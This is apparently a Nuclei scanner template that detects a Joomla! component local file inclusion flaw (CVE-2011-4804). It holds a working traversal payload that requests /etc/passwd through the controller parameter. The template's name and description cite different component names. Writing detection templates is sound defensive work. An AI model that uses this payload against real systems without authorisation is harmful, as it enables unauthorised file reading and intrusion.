id: CVE-2011-4804

info:
  name: Joomla! Component com_kp - 'Controller' Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  reference:
    - https://www.exploit-db.com/exploits/36598
    - http://web.archive.org/web/20140802122115/http://secunia.com/advisories/46844/
    - http://web.archive.org/web/20210121214308/https://www.securityfocus.com/bid/48944/
    - https://nvd.nist.gov/vuln/detail/CVE-2011-4804
  remediation: Upgrade to a supported version.
  classification:
    cve-id: CVE-2011-4804
  tags: lfi,edb,cve,cve2011,joomla

requests:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_kp&controller=../../../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:

      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

# Enhanced by mp on 2022/02/18